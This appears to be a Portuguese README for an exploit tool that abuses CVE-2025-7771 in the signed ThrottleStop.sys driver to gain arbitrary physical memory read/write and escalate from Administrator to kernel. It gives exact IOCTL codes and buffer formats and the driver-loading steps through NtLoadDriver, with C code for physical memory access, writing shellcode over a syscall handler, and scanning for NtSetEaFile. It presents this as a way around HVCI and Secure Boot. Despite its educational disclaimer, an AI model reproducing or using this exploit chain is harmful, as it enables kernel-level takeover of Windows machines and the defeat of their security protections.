
Escalada de privilégios no sistema a partir de driver não assinado usando a vulnerabilidade do ThrottleStop
CVE-2025-7771 — Leitura/Gravação Arbitrária de Memória Física via IOCTLs do ThrottleStop.sys
Este projeto é publicado somente para fins educacionais e de pesquisa. O objetivo é demonstrar como um driver de kernel assinado e confiável pode ser usado como arma para escalonamento local de privilégios (LPE) de Administrador para SYSTEM/Kernel, contornando efetivamente recursos modernos de segurança do Windows, incluindo HVCI (Integridade de Código Imposta por Hypervisor) e Secure Boot.
Não use esta ferramenta para fins maliciosos. O autor não é responsável por qualquer uso indevido.
| Campo | Detalhes |
|---|---|
| CVE | CVE-2025-7771 |
| Driver | ThrottleStop.sys (fornecido com ThrottleStop) |
| Fornecedor | TechPowerUp / Kevin Glynn |
| Tipo | Leitura/Gravação Arbitrária de Memória Física |
| Impacto | Escalonamento Local de Privilégios (Admin → Kernel) |
| CVSS | 8.2 (Alta) |
| Assinatura | Assinado pela Microsoft via WHQL / Atestação |
| Bypass de HVCI | ✅ Sim — driver legitimamente assinado, permitido pela política de CI |
ThrottleStop.sys com IOCTLs de mapeamento de memória físicaO driver de kernel ThrottleStop.sys expõe um dispositivo (\\.\ThrottleStop) acessível a qualquer Administrador local. Ele implementa dois IOCTLs que fornecem acesso irrestrito à memória física:
#define IOCTL_TS_READ_PHYS 0x80006498 // Read arbitrary physical address
#define IOCTL_TS_WRITE_PHYS 0x8000649C // Write arbitrary physical address
0x80006498)Input: ULONG64 PhysicalAddress (8 bytes)
Output: Data buffer (1–8 bytes per call, determined by OutputBufferLength)
O driver chama MmMapIoSpace() para mapear o endereço físico solicitado no espaço virtual do kernel, copia os dados para o buffer de saída e então chama MmUnmapIoSpace(). Nenhuma validação é realizada no endereço físico — qualquer endereço do espaço de endereçamento físico pode ser lido.
0x8000649C)Input: ULONG64 PhysicalAddress (8 bytes) + Data (1–8 bytes)
InputBufferLength = 8 + DataSize
Output: None
Mesmo mecanismo da leitura, mas grava dados fornecidos pelo usuário no endereço físico mapeado. Novamente, nenhuma validação de endereço ou intervalo.
O driver foi projetado para permitir que o ThrottleStop (um utilitário de undervolting/throttling de CPU) lesse/gravasse diretamente MSRs e registradores de hardware. Os IOCTLs de memória física foram provavelmente adicionados para acesso MMIO ao espaço de configuração PCI ou aos sensores térmicos da CPU, mas a implementação realiza zero verificação de limites:
GENERIC_READ | GENERIC_WRITEIsso transforma um driver legítimo de utilitário de hardware em uma primitiva completa de leitura/gravação em nível de kernel.
A cadeia de exploração eleva de uma conta de Administrador local para execução arbitrária de código no kernel, alcançando efetivamente controle ring-0 em nível de SYSTEM.
O mapper grava ThrottleStop.sys em %TEMP%, cria uma entrada de registro de serviço em HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStop e o carrega via NtLoadDriver():
// Enable SeLoadDriverPrivilege for the current process
driver::util::enable_privilege(L"SeLoadDriverPrivilege");
// Create service entry pointing to the dropped .sys file
driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop");
// Load via NtLoadDriver
NtLoadDriver(&driver_reg_path_unicode);
// Open device handle
CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...);
Nota: Como o ThrottleStop.sys é legitimamente assinado, ele é carregado mesmo com HVCI/Secure Boot habilitados. A política de CI do Windows confia no certificado.
Com o handle do dispositivo, o exploit pode ler/gravar qualquer endereço físico do sistema:
// Read 8 bytes from physical address 0x1000
ULONGLONG phys_addr = 0x1000;
ULONGLONG data = 0;
DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL);
// Write 8 bytes to physical address
UCHAR input[16];
*(ULONGLONG*)input = target_phys_addr; // address
*(ULONGLONG*)(input + 8) = shellcode_qword; // data
DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL);
O exploit encapsula essas operações em funções auxiliares que lidam com leituras/gravações em blocos (1, 2, 4 ou 8 bytes por chamada) para transferências de comprimento arbitrário.
Para executar funções arbitrárias do kernel, o exploit precisa encontrar o endereço físico de um manipulador de syscall do kernel. Ele tem como alvo NtSetEaFile (uma syscall raramente monitorada):
ntoskrnl.exe no modo usuário via LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES) e obter o RVA de NtSetEaFileRVA & 0x1FFFFFHARDWARE\RESOURCEMAP\System Resources\Physical Memory), avançar em passos de 2MB e comparar bytes:for (phys_2mb = start; phys_2mb < range_end; phys_2mb += 0x200000)
{
candidate_pa = phys_2mb + offset_in_2mb;
read_phys(candidate_pa, &first8, 8);
if (first8 == pattern_first8) // quick check
{
read_phys(candidate_pa, verify, 32); // full verify
if (memcmp(verify, pattern, 32) == 0)
{
syscall_phys_addr = candidate_pa; // found it!
// ... validate via PsGetProcessSectionBaseAddress
}
}
}
PsGetProcessSectionBaseAddress(current_pid) e verificar se a base retornada corresponde a GetModuleHandle(NULL).